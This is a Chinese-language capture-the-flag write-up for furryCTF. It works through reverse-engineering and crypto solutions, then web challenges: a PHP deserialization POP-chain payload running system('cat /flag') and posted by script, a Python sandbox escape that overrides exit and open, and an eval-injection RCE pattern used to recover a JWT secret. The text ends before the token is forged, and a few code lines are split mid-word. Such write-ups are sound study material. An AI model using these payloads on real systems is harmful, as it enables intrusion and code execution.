furryCTF WP

reverse

分组密码

通过静态分析，发现程序实现了一个自定义的分组密码算法，用于校验用户输入的 Flag

在 `main` 函数 `0x4012E0`)中，程序首先提示用户输入 Flag，并进行长度和格式校验

输入长度必须为 32 字符。

Flag 格式必须为 `POFPCTF{...}`

随后，初始化 Key 和 IV，并调用加密函数 `sub_4010B0` 对输入进行加密（CBC模式）。最后将加密结果与硬编码的密文进行比较

分析 `sub_4010B0`，发现其结构与 AES-128 高度相似，包含 SubBytes, ShiftRows, MixColumns, AddRoundKey 四个步骤，但存在以下修改：

程序使用了自定义的 SBox `0x403158` 和 Rcon `0x403258`

ShiftRows (行移位)

第 0, 1, 2 行遵循标准 AES 的行左移

第 3 行（索引 3, 7, 11, 15）进行了修改：

右移 1 位 (15->3, 3->7, 7->11, 11->15)

且在移动到索引 7 的位置时，对数值进行了 `XOR 0x66` 操作

汇编逻辑： `v4[7] = v4[3] ^ 0x66` 其中 `v4[3]` 是移动前的值

列混淆:也是手动实现的 GF(2^8) 矩阵乘法，系数与标准 AES 一致

密钥扩展 :在 `main` 函数中进行。使用自定义的 SBox 和 Rcon，但逻辑结构与标准 AES 密钥扩展一致。初始 Key 和 IV 是硬编码在栈上的整数

为了得到 Flag，需要逆向上述过程：

提取常量: 从二进制中提取 SBox, Rcon, 初始 Key, IV, 以及目标密文。注意 Key 和 IV 在栈上的字节序

实现逆向操作: `InvSubBytes` 使用 SBox 生成逆 SBox。 `InvMixColumns` 标准 AES 逆列混淆。 `InvShiftRows` 第 0, 1, 2 行使用标准右移。第 3 行 需要特殊处理：先将索引 7 的值异或 `0x66`，然后执行左移 1 位，即标准 AES ShiftRows 的方向，因为加密时是右移

CBC 解密:将密文分组，使用解密函数解密每一块，并与前一块密文异或

Python

```python
import struct
SBOX = [
    0x63, 0x1e, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x7c, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]

INV_SBOX = [0] * 256
for i, x in enumerate(SBOX):
    INV_SBOX[x] = i

RCON = [0x07, 0x09, 0x12, 0x04, 0x08, 0x10, 0x21, 0x40, 0x88, 0x1b, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00]
TARGET = bytes([
    0x2b, 0x1b, 0xc9, 0x99, 0xbe, 0xbd, 0xe6, 0x85, 0x30, 0xc9, 0x09, 0x10, 0x26, 0x3c, 0xf3, 0x26,
    0x62, 0xe7, 0xd0, 0xed, 0xe0, 0x9f, 0x07, 0xcf, 0x3e, 0x7e, 0x21, 0xbd, 0xf7, 0x29, 0x11, 0x9e
])

IV_INTS = [0x278CF13A, 0xE2609BD4, 0xC3A75D11, 0x4EB8097F]
IV = b''.join([struct.pack('<I', x) for x in IV_INTS])
KEY_INTS = [0xF3022201, 0xF7E6F544, 0x0B0AB9A8, 0xFFEECDAC]
KEY_BUFFER = bytearray(176)
for i in range(4):
    KEY_BUFFER[i*4 : (i+1)*4] = struct.pack('<I', KEY_INTS[i])

```

```
    v6_idx = 13
    v7 = 0xCD
    for i in range(4, 44):
        v32 = KEY_BUFFER[v6_idx - 1]
        v33 = KEY_BUFFER[v6_idx + 1]
        v34 = KEY_BUFFER[v6_idx + 2]
        if (i % 4) != 0:
            v8 = v7
        else:
            v8 = SBOX[v33]
            v33 = SBOX[v34]
            v34 = SBOX[v32]
            v32 = SBOX[v7] ^ RCON[i >> 2]
        v9 = KEY_BUFFER[v6_idx - 12]
        KEY_BUFFER[v6_idx + 3] = v32 ^ KEY_BUFFER[v6_idx - 13]
        v7 = v8 ^ v9
        KEY_BUFFER[v6_idx + 5] = v33 ^ KEY_BUFFER[v6_idx - 11]
        v10 = v34 ^ KEY_BUFFER[v6_idx - 10]
        KEY_BUFFER[v6_idx + 4] = v7
        KEY_BUFFER[v6_idx + 6] = v10
        v6_idx += 4
    def xtime(a):
        return ((a << 1) ^ 0x1B) & 0xFF if (a & 0x80) else (a << 1)

    def mix_single_column(a):
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)
        return a

    def inv_mix_columns(state):
        def multiply(x, y):
            r = 0
            for _ in range(8):
                if y & 1: r ^= x
                h = x & 0x80
                x = (x << 1) & 0xFF
                if h: x ^= 0x1B
                y >>= 1
            return r

        new_state = bytearray(16)
        for c in range(4):
            col = state[c*4 : (c+1)*4]
            new_state[c*4 + 0] = multiply(col[0], 0x0e) ^ multiply(col[1], 0x0b) ^ m
    ultiply(col[2], 0x0d) ^ multiply(col[3], 0x09)
            new_state[c*4 + 1] = multiply(col[0], 0x09) ^ multiply(col[1], 0x0e) ^ m
    ultiply(col[2], 0x0b) ^ multiply(col[3], 0x0d)
            new_state[c*4 + 2] = multiply(col[0], 0x0d) ^ multiply(col[1], 0x09) ^ m
    ultiply(col[2], 0x0e) ^ multiply(col[3], 0x0b)
            new_state[c*4 + 3] = multiply(col[0], 0x0b) ^ multiply(col[1], 0x0d) ^ m
    ultiply(col[2], 0x09) ^ multiply(col[3], 0x0e)
        return new_state

    def inv_shift_rows(state):
```

```
        state[7] ^= 0x66
        new_state = bytearray(16)
        new_state[0] = state[0]
        new_state[4] = state[4]
        new_state[8] = state[8]
        new_state[12] = state[12]
        new_state[1] = state[13]
        new_state[5] = state[1]
        new_state[9] = state[5]
        new_state[13] = state[9]
        new_state[2] = state[10]
        new_state[6] = state[14]
        new_state[10] = state[2]
        new_state[14] = state[6]
        new_state[3] = state[7]
        new_state[7] = state[11]
        new_state[11] = state[15]
        new_state[15] = state[3]
        return new_state

    def inv_sub_bytes(state):
        return bytearray([INV_SBOX[b] for b in state])

    def add_round_key(state, key):
        return bytearray([b ^ k for b, k in zip(state, key)])

    def decrypt_block(ciphertext, round_keys):
        state = bytearray(ciphertext)
        state = add_round_key(state, round_keys[10])
        state = inv_shift_rows(state)
        state = inv_sub_bytes(state)
        for r in range(9, 0, -1):
            state = add_round_key(state, round_keys[r])
            state = inv_mix_columns(state)
            state = inv_shift_rows(state)
            state = inv_sub_bytes(state)
        state = add_round_key(state, round_keys[0])
        return state
    round_keys = []
    for i in range(11):
        round_keys.append(KEY_BUFFER[i*16 : (i+1)*16])

    decrypted = bytearray()
    blocks = [TARGET[i:i+16] for i in range(0, len(TARGET), 16)]
    d0 = decrypt_block(blocks[0], round_keys)
    p0 = bytearray([d ^ i for d, i in zip(d0, IV)])
    decrypted.extend(p0)
    d1 = decrypt_block(blocks[1], round_keys)
    p1 = bytearray([d ^ c for d, c in zip(d1, blocks[0])])
    decrypted.extend(p1)

    print(len(decrypted))
    print(decrypted.hex())
    print(decrypted)
    print(decrypted.decode('utf-8'))

```

Flag: `POFPCTF{3c55d6342a6b15f13b55747}`

XOR

拿到题目 `XOR.exe`，首先尝试运行，发现报错 "The specified executable is not a valid application for this OS platform
查看文件头：

```
b'2e\x90\x00\x03'
```

标准的 PE 文件头应该是 `MZ` (0x4D 0x5A)，这里被修改为了 `2e 90`
将文件头修复为 `MZ` 后，程序可以运行，提示输入 Flag

使用 `strings` 查看字符串，发现 `NUITKA_ONEFILE_START` 等字符串，确认是 Nuitka 打包的 Python 程序
运行修复后的程序，使用 Python 脚本监控 `%TEMP%` 目录，提取出临时释放的文件
在提取出的文件夹中找到 `script.dll`，这是编译后的 Python 主逻辑

在 `script.dll` 中搜索字符串，发现 `Enter flag:` 附近的字符串：

```
lzlelllzlQlXl\x19l\\l\x19lXlYl\x1blDlMlul\x1blYlulLl_lDl\x0blWl*
```

看起来很有规律，每隔一个字符就是一个 `l`
去除 `l` 后得到：

```
z e l z Q X \x19 \ \x19 X Y \x1b D M u \x1b Y u L _ D \x0b W *
```

题目提示 Flag 头为 `POFP{`
尝试将密文与 `POFP{` 进行 XOR：
`'z'` (122) ^ `'P'` (80) = 42 (`*`)
`'e'` (101) ^ `'O'` (79) = 42 (`*`)
...
发现 Key 是固定值 `42` (`*`)

Python

```python
ciphertext_hex = "7a 65 6c 7a 51 58 19 5c 19 58 59 1b 44 4d 75 1b 59 75 4c 5f 44 0b 57 2a"
ciphertext = bytes.fromhex(ciphertext_hex.replace(' ', ''))

key = 42
plaintext = []
for b in ciphertext:
    plaintext.append(b ^ key)

print(bytes(plaintext).decode())
```

得到 Flag：
`POFP{r3v3rs1ng_1s_fun!}`

未来程序

分析 `Interpreter.cpp`，可以看出这是一个基于字符串重写系统的解释器。它读取一个初始字符串 `ori`，然后根据规则替换

`Encoder.txt` 中通过对规则的观察，可以发现：

在字符串头部插入大量的 `x`

在字符串头部插入分隔符 `|`

在字符串尾部插入大量的 `y`

`x` 字符从左向右扫描，将输入的二进制字符 `0`，`1` 以及 `+` 转换为 `200*`，`211*`，`2++*` 的形式，并追加到字符串末尾。这实际上是将输入数据进行了扩展并移动到了右侧

`y` 字符从右向左移动，负责将扩展后的数据块（如 `211*`）中的有效数据提取出来

经过以上，程序实际上维护了两个数据区，分别位于 `|` 的左侧和右侧

对于输入 `A+B`（其中 `A` 和 `B` 是二进制字符串），解释器最终生成的输出格式为 `Left | Right`

通过测试，发现规律：

`Right` 部分对应 `A + B` 的结果

`Left` 部分对应 `A - B` 的结果

`Encoder.txt` 中的 `Output` 给出了最终的 `L | R`

已知 `Output` 为 `L | R`，且满足：

$$L = A - B$$

$$R = A + B$$

其中 `L` 和 `R` 是二进制表示的大整数
我们可以通过解方程组求出 `A` 和 `B`：

$$A = (L + R)/2$$

$$B = (R - L)/2$$

Python `Encoder.txt` 中的 Output，并进行计算：

```python
import sys

def solve():
    with open("Encoder.txt", "r") as f:
        content = f.read()
    output_line = ""
    for line in content.splitlines():
        if line.startswith("Output="):
            output_line = line
            break

    output_str = output_line.split("=")[1]
    left_str, right_str = output_str.split("|")
    L = int(left_str, 2)
    R = int(right_str, 2)

    A = (L + R) // 2
    B = (R - L) // 2

    def long_to_bytes(n):
        s = hex(n)[2:]
        if len(s) % 2 != 0:
            s = "0" + s
        return bytes.fromhex(s)

    flag_part1 = long_to_bytes(A)
    flag_part2 = long_to_bytes(B)
    print(flag_part1.decode() + flag_part2.decode())

if __name__ == "__main__":
    solve()
```

得到 Flag：
`furryCTF{This_Is_Tu7ing_C0mple7es_Charm_nwn}`

TimeManager

使用IDA对程序反汇编，发现：

主函数位于地址 `0x21e9`

程序逻辑：等待3小时（10800秒），每秒执行一次循环操作

在每次循环中：

调用 `sleep(1)` 延时1秒

输出一些提示字符串

执行时间检查确保时间正常流逝

使用当前时间戳和一个常量生成随机种子

对 `cipher` 数组的两个位置进行异或操作

程序中的解密算法为：

```
srand(v7 + dword_6043 - v6);  // 设置随机种子
cipher[i % 128] ^= rand();    // 对数组位置进行异或
cipher[i % 17] ^= rand();     // 对另一个位置进行异或
```

其中

`v6` 是程序开始时间

`v7` 是当前时间

`dword_6043` 是常量值（0xBEDDBEEF）

由于程序需要等待3小时才能显示结果，我们需要模拟整个加密过程而不是实际等待

程序循环10800次（3小时×60分钟×60秒），每次迭代都会根据时间变化更新加密数据

编写了一个模拟程序来重现完整的解密过程：

```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>

unsigned char cipher[128] = {
    0x21, 0x71, 0xd8, 0xed, 0xdd, 0xa9, 0xcb, 0x02, 0xfb, 0x3e, 0x77, 0xdf, 0x96, 0x6d, 0x6d, 0x29,
    0x69, 0xcf, 0xdc, 0xc1, 0xea, 0xbe, 0x23, 0xaa, 0x1d, 0xe4, 0x25, 0xd4, 0x9d, 0x3a, 0x8a, 0x50,
    0xca, 0xd6, 0x86, 0x48, 0x21, 0xfb, 0xd5, 0x75, 0x44, 0x49, 0x63, 0x1b, 0x30, 0xb8, 0x18, 0x39,
    0x22, 0xb2, 0x43, 0xc8, 0x82, 0x06, 0xdc, 0x1d, 0x88, 0xbf, 0x1a, 0xb8, 0x0c, 0xfb, 0x54, 0xc9,
    0x57, 0x7a, 0xb3, 0xdd, 0x94, 0x70, 0x06, 0xad, 0x41, 0x8f, 0x13, 0x7b, 0x66, 0x31, 0x90, 0xf7,
    0xec, 0xdc, 0xb7, 0xe8, 0xc4, 0x60, 0x3c, 0x69, 0xbd, 0xd8, 0x8e, 0x9b, 0xab, 0xa0, 0x50, 0x07,
    0xcd, 0x40, 0x7c, 0xfe, 0x30, 0xf2, 0xca, 0x45, 0xe2, 0x53, 0x7d, 0x19, 0xd8, 0x16, 0x79, 0xbd,
    0x47, 0xd3, 0x93, 0x33, 0xcd, 0xcb, 0xd4, 0xca, 0xde, 0x38, 0xb5, 0xc5, 0x36, 0xff, 0xa3, 0x87
};

int main() {
    int i;
    int dword_6043 = -1095901457;
    for (i = 0; i <= 10799; ++i) {
        unsigned int seed = (i + 1) + dword_6043;
        srand(seed);
        cipher[i % 128] ^= (rand() & 0xFF);
        cipher[i % 17] ^= (rand() & 0xFF);
    }
    printf("%s", cipher);
    return 0;
}

```

得到Flag：

`furryCTF{y0U_kn0W_h0W_t0_h4ndl3_ur_t1m3}`

ezvm

拿到文件后，运行程序发现需要输入 flag 使用 strings 查看字符串，可以直接看到类似 flag 的明文字符串 `POFP{327a6c4304}` ，但直接提交提示错误。说明程序内部对这个字符串进行了处理，或者这只是一个诱饵

使用 IDA分析主函数逻辑。在地址 `0x140001240` 附近发现了一个典型的虚拟机调度循环结构

程序初始化了一块 Opcode 缓冲区（通过栈上的 mov 指令赋值）

有一个 `while` 循环，通过 `movzx` 读取 Opcode

根据 Opcode 的值，查询跳转表并跳转到对应的 handler 执行

通过分析栈上的数据初始化代码，还原出 VM 的字节码：

```
Plain Text
10 25 32 3a 0b 25 63 3a 0b 66 0d 41 31 55 66 00 ff
```

分析发现取出的字节码会减去 `0x10` 才是真正的 Opcode 索引

VM 操作的对象正是我们在 strings 中看到的字符串 `POFP{327a6c4304}` 根据字节码执行流程：

读取当前字符

比较 '2' (0x32)：如果是，跳转到修改逻辑

比较 'c' (0x63)：如果是，跳转到修改逻辑

如果不满足上述条件，指针后移，循环处理下一个字符

修改逻辑：将当前字符修改为 '1' (0x31)

程序最后将用户的输入与这个修改后的内存字符串进行比对

原始字符串： `POFP{327a6c4304}`

变换后为： `POFP{317a614304}`

RRRacket

使用十六进制查看文件头

```
with open('chall.zo', 'rb') as f:
    print(f.read(100))
# b'#~\x039.0\x05ta6ntD...'
```

`#~` - Racket编译后的字节码文件标识

`9.0` - Racket版本9.0

`ta6nt` - Chez Scheme机器类型

这是一个Racket编程语言编译后的字节码文件

尝试使用Racket的decompile工具反编译，但由于版本和机器类型不匹配，无法直接反编译

使用strings命令和Python脚本提取文件中的可读字符串，发现了关键信息

```
pofpkey
d31fa2c26c024feddef9b38853790c00285e367b916d49a111bfc2bcfb74
rc4-bytes
Input flag:
Wrong!
Correct!
KEY-STR
TARGET-HEX
```

通过提取的字符串，可以推断程序的逻辑

程序提示用户输入flag：`Input flag:`

使用RC4算法（`rc4-bytes`函数）

密钥为：`pofpkey`（`KEY-STR`）

目标密文为：`d31fa2c26c024feddef9b38853790c00285e367b916d49a111bfc2bcfb74`（`TARGET-HEX`）

如果加密后的结果匹配目标密文，输出`Correct!`，否则输出`Wrong!`

使用Python和pycryptodome库进行RC4解密：

```python
from Crypto.Cipher import ARC4
target_hex = "d31fa2c26c024feddef9b38853790c00285e367b916d49a111bfc2bcfb74"
target_bytes = bytes.fromhex(target_hex)
key = b"pofpkey"
cipher = ARC4.new(key)
decrypted = cipher.decrypt(target_bytes)
print(decrypted.decode('ascii'))
```

输出：`POFP{Racket_and_rc4_you_know!}`

crypto

Hide

题目提供了一个 脚本 加密过程如下：

生成一个 random 1024 d bit prime `x`

生成 6 个随机数 `A`

计算 `B = A[i] * m % x`

计算 `C = B[i] % 2**256`，即 `B` 的低 256 位

给出 `x`，`A`，`C`

我们需要恢复 `m`

这是一个典型的隐数问题的变体，或者是部分已知 nonce/state 的问题
已知

$$B_i = A_i \cdot m \pmod{x}$$

$$B_i = h_i \cdot 2^{256} + C_i$$

其中 C_i 是已知的低 256 位， h_i 是未知的高位（约 768 位）

我们可以重写等式

$$A_i \cdot m = h_i \cdot 2^{256} + C_i \pmod{x}$$

$$A_i \cdot 2^{-256} \cdot m - C_i \cdot 2^{-256} = h_i \pmod{x}$$

令 $t_i = A_i \cdot 2^{-256} \pmod{x}$ ， $u_i = C_i \cdot 2^{-256} \pmod{x}$
则有

$$t_i \cdot m - u_i - k_i \cdot x = h_i$$

其中 h_i 较小 ($< x/2^{256} \approx 2^{768}$)，而 $x \approx 2^{1024}$
m 本身由 44 字节 flag + 20 字节 padding 组成，约为 512 位

我们可以构造格来利用 LLL 算法求解
构造矩阵 M

$$\begin{pmatrix} x & 0 & \cdots & 0 & 0 \\ 0 & x & \cdots & 0 & 0 \\ \vdots & \vdots & \ddots & \vdots & \vdots \\ t_1 & t_2 & \cdots & t_n & W \\ u_1 & u_2 & \cdots & u_n & 0 \end{pmatrix}$$

我们需要寻找一个短向量，它是行向量的线性组合
目标向量 $v = m \cdot \text{row}_n - \sum k_i \cdot \text{row}_i - 1 \cdot \text{row}_{n+1}$

$$v = (h_1, h_2, \cdots, h_n, m \cdot W)$$

为了平衡向量各分量的大小，我们需要选择合适的权重 W
$h_i \approx 2^{768}$
$m \approx 2^{512}$
为了使 $m \cdot W \approx h_i$ ，选择 $W \approx 2^{256}$

使用 `fpylll` 库进行求解

```python
import re
from fpylll import IntegerMatrix, LLL
from fpylll import IntegerMatrix, LLL

def long_to_bytes(n):
    return n.to_bytes((n.bit_length() + 7) // 8, 'big')

def solve():
    try:
        with open('hide.py', 'r') as f:
            content = f.read()
    except FileNotFoundError:
        return
    x_match = re.search(r'x =\s+(\d+)', content)
    A_matches = re.findall(r'A =\s+\[(.*?)\]', content, re.DOTALL)
    C_matches = re.findall(r'C =\s+\[(.*?)\]', content, re.DOTALL)

    if not x_match or not A_matches or not C_matches:
        return

    x = int(x_match.group(1))

    A_str = A_matches[-1].replace('\n', '')
    A = [int(n.strip()) for n in A_str.split(',') if n.strip()]

    C_str = C_matches[-1].replace('\n', '')
    C = [int(n.strip()) for n in C_str.split(',') if n.strip()]
    print(f"{x.bit_length()}")
    print(f"{len(A)}")
    scale_factor = pow(2, 256, x)
    inv_scale = pow(scale_factor, -1, x)
    t = [(a * inv_scale) % x for a in A]
    u = [(c * inv_scale) % x for c in C]
    n = len(A)
    W = 2**256
    M = IntegerMatrix(n + 2, n + 1)
    for i in range(n):
        M[i, i] = x
    for i in range(n):
        M[n, i] = t[i]
    M[n, n] = W
    for i in range(n):
        M[n + 1, i] = u[i]
    M[n + 1, n] = 0
    LLL.reduction(M)
    for row in M:
        val = abs(row[n])
        if val % W == 0 and val > 0:
            m_candidate = val // W
            try:
                flag_bytes = long_to_bytes(m_candidate)
                if flag_bytes.endswith(b'\x00'*20):
                    flag_data = flag_bytes[:-20]
                    print(flag_data)
                    print(flag_data.decode())
                    return
            except Exception as e:

```

```
                pass

if __name__ == "__main__":
    solve()
```

运行脚本后得到 flag：

`pofp{8bbda68c-9a6f-41dd-bf27-a143d2644a9aaa}`

迷失

脚本中定义了一个 `Encryptor` 类，使用 `encrypt_char` 方法对 flag 进行逐字节加密

对于给定的 key， `encrypt_char` 对同一个字符总是返回相同的结果。虽然 `key` 是随机生成的，但在加密过程中由于是对单次运行的字符加密，映射关系是固定的

`_encode` 函数实现了一个类似于保序加密的逻辑。它将明文空间 `[0, 255]` 映射到密文空间 `[0, 65535]`

即使 `_pseudorandom_function` 引入了随机性，但其随机种子取决于当前的 Range，而 Range 的分裂过程完全取决于明文的大小

这意味着，如果 `char1 < char2`，那么 `encrypt(char1) < encrypt(char2)`

我们可以利用这个单调递增的特性来推断未知字符

密文 `m` 是一个十六进制字符串，每 4 个字符对应一个明文字符

利用已知明文恢复大部分映射

得到的部分 flag 如下：

`Pleasure_Query_[4f70]r[3a60]er_Prese[3af0][7680]i[6e80]g_[6295]ry[7000][7400]io[6e80]_owo`

利用保序性推断未知块：

0x4ee0 < `[4f70]` < 0x5000

ASCII: N(78) < O(79) < P(80)

所以 `[4f70]` 必然是O

0x39d0 < `[3a60]` < 0x3b80

ASCII: 5(53) < 6(54), 7(55) < 8(56)

可能是6或7

`3a60` < `[3af0]` < 0x3b80

如果 `[3a60]` 是6，那 `[3af0]` 很可能是7

0x74f1 < `[7680]` < 0x7770

ASCII: u(117) < v(118) < w(119)

所以 `[7680]` 必然是v

0x6df0 < `[6e80]` < 0x6f40

ASCII: m(109) < n(110) < o(111)

所以 `[6e80]` 必然是n

0x61e1 < `[6295]` < 0x6500

ASCII: b(98) < c(99) < d(100)

所以 `[6295]` 必然是c

0x7340 < `[7400]` < 0x74f1

对应 ASCII t

同理 `[7000]` 推测为p，组成 `cryption`

将推断出的字符代入：
`Pleasure_Query_Or6er_Prese7ving_cryption_owo`

```
1   furryCTF{Pleasure_Query_Or6er_Prese7ving_cryption_owo}
```

web

Babypop

题目给出了源码，是一个典型的 PHP 反序列化题目
访问地址，可以看到源码

`SecurityProvider`：用于验证输入，包含一个 `verify` 方法，禁止输入中包含 `..`

`LogService`：包含 `__destruct` 方法，销毁时会调用 `$this->handler->close()`

`FileStream`：包含 `close` 方法，如果 `$this->mode === 'debug'` 且 `$this->content` 不为空，则执行 `@eval($this->content)`

`DateFormatter`：辅助类

`UserProfile`：包含 `username`，`bio`，`preference` 三个属性

`DataSanitizer`：包含 `clean` 方法，将字符串中的 "hacker" 替换为空字符串

入口点在页面底部的逻辑：

接收 POST 参数 `user` 和 `bio`

创建 `UserProfile` 对象并序列化

调用 `DataSanitizer::clean` 对序列化后的字符串进行清洗

对清洗后的字符串进行反序列化

如果反序列化成功，输出用户名

漏洞在于 `DataSanitizer::clean` 函数将 "hacker" 替换为空字符串
由于序列化字符串的格式是 `s:长度:"内容"`，当内容变短而长度字段不变时，反序列化过程会继续读取后续的字符作为该字符串的内容。于是可以吞掉原本的结构代码，注入自己的序列化结构

需要利用 `LogService` 的析构函数触发 `FileStream` 的 `close` 方法来执行命令

POP 链如下：

`LogService` 对象，其 `$handler` 属性指向一个 `FileStream` 对象

`FileStream` 对象，设置 `$mode = 'debug'`， `$content = "system('cat /flag');"`

当 `LogService` 对象销毁时，调用 `handler->close()`，即 `FileStream->close()`，从而执行 `eval("system('cat /flag');")`

构造的 `LogService` 序列化字符串：

```
O:10:"LogService":2:{s:10:"%00*%00handler";O:10:"FileStream":3:{s:16:"%00FileStream%00path";N;s:16:"%00FileStream%00mode";s:5:"debug";s:7:"content";s:20:"system('cat /flag');";}s:12:"%00*%00formatter";N;}
```

`UserProfile` 的序列化结构大致为：
`O:11:"UserProfile":3:{s:8:"username";s:N:"[USER]";s:3:"bio";s:M:"[BIO]";s:10:"preference";...}`

目标是让 `username` 的值吞掉 `";s:3:"bio";s:M:"` 这一段，使得在 `bio` 中构造的 Payload 被解析为 `UserProfile` 的后续属性主要是 `preference`

假设在 `username` 中放入 K 个 hacker
每个 hacker 长度为 6，被替换为空，长度减少 6
需要吞掉的字符是 `";s:3:"bio";s:M:"` 加上一部分填充

在 `bio` 参数中构造如下 Payload：
`[PADDING]";s:10:"preference";[INJECTED_OBJECT];}`

需要 $6 \times K$ 个字符被吞掉。
被吞掉的内容包括 `";s:3:"bio";s:M:"` 和 `[PADDING]`
即 $6 \times K = \text{len}(\text{'';s:3:"bio";s:M:"'}) + \text{len}(PADDING)$

```python
import requests

def get_payload():
    injected = 'O:10:"LogService":2:{s:10:"\x00*\x00handler";O:10:"FileStream":3:{s:16:"\x00FileStream\x00path";N;s:16:"\x00FileStream\x00mode";s:5:"debug";s:7:"content";s:20:"system(\'cat /flag\');";}s:12:"\x00*\x00formatter";N;}'
    payload = '";s:10:"preference";' + injected + ';}'
    n = 10
    user = "hacker" * n
    padding = "A" * 41
    bio = padding + payload
    return user, bio
user, bio = get_payload()
print(user)
print(bio)
url = "http://ctf.furryctf.com:36965/"
data = {
    "user": user,
    "bio": bio
}

r = requests.post(url, data=data)
print(r.text)
```

获得 Flag：
`POFP{1051bbe0-cb0d-498b-8e0c-2aa196a1d42c}`

PyEditor

题目提供了一个在线 Python 编辑器。通过分析 `app.py`，发现代码执行被封装在一个 `safe_exec` 函数中，并且有一套基于 `ast` 的验证机制来限制危险操作

但在 `create_script` 函数中生成的包装代码里发现：

```
exit_code = safe_exec()

exit()
# Hey bro, don't forget to remove this before release!!!
import os
import sys

flag_content = os.environ.get('GZCTF_FLAG', '')
os.environ['GZCTF_FLAG'] = ''

try:
    with open('/flag.txt', 'w') as f:
        f.write(flag_content)
except:
    pass
```

这段代码在 `safe_exec()` 执行完毕后，调用了 `exit()`，阻止了后面代码的执行。而后面的代码会将环境变量中的 flag 写入到 `/flag.txt`

由于 `safe_exec` 和后续代码运行在同一个 Python 进程和模块作用域下，我们可以在 `safe_exec` 内部修改全局变量

可以通过 `globals()` 获取全局变量字典，并重写 `exit` 函数，使其不执行任何操作

```
globals()['exit'] = lambda *a, **k: None
```

由于 `validate_code` 严格限制了 `open` 的调用和危险属性的访问，但包装代码中的 `with open('/flag.txt', 'w') as f:` 和 `f.write(flag_content)` 是不受验证限制的

可以通过重写全局的 `open` 函数，将其替换为一个伪造的类，该类在调用 `write` 方法时将数据打印出来

```
class FakeFile:
    def __init__(self, *a, **k): pass
    def __enter__(self): return self
    def __exit__(self, *a): pass
    def write(self, data):
        print("RESULT:" + data)

globals()['open'] = FakeFile
globals()['exit'] = lambda *a, **k: None
```

服务器通过 Socket.IO 返回输出：

```
Server output: RESULT:furryCTF{DO_NO7_F0rGe7_TO_reMov3_dE6u6_WH3n_162ae5656fe5_RE1EaS3}
```

得到flag：`furryCTF{DO_NO7_F0rGe7_TO_reMov3_dE6u6_WH3n_162ae5656fe5_RE1EaS3}`

Admin

首先访问题目提供的 URL，尝试使用测试账号 `user/user123` 登录，登录成功后发现系统使用JWT进行身份验证

在 `login.html` 的登录请求中发现，数据被提交到 `check.php`
对 `username` 参数进行测试，发现输入特殊字符会导致 PHP 报错，报错信息泄露了部分代码结构：

```
unexpected token "--", expecting "]"
```

后端可能在使用类似 `eval()` 的方式处理用户名，代码逻辑可能类似于：

```
return isset($users['$username']);
```

根据推测的代码结构，构造闭合 payload 来执行任意 PHP 代码

```
admin']) || <PHP代码> || isset($users['
```

经过测试，确认可以通过这种方式执行 `system()` 等函数

利用 RCE，查看服务器目录，发现存在 `admin.zip` 文件，下载并解压
解压后发现核心逻辑在 `service.php` 中，但文件经过了混淆加密（大牙PHP加密），难以直接静态分析

由于静态分析困难，所以利用 RCE 在运行时提取内存中的信息
编写一个 Python 脚本，注入 PHP 代码来通过反射或遍历 `$this` 对象属性来查看 `service.php` 加载后的内部状态

运行结果中，发现在混淆对象的属性中包含了一个字符串 `"mwkj"`，以及用户数据 `{"user":"user123"}`
考虑到 `mwkj` 是 "喵呜科技" 的首字母缩写，并且可能被用作了 JWT 的签名密钥

伪造管理员的 JWT Token
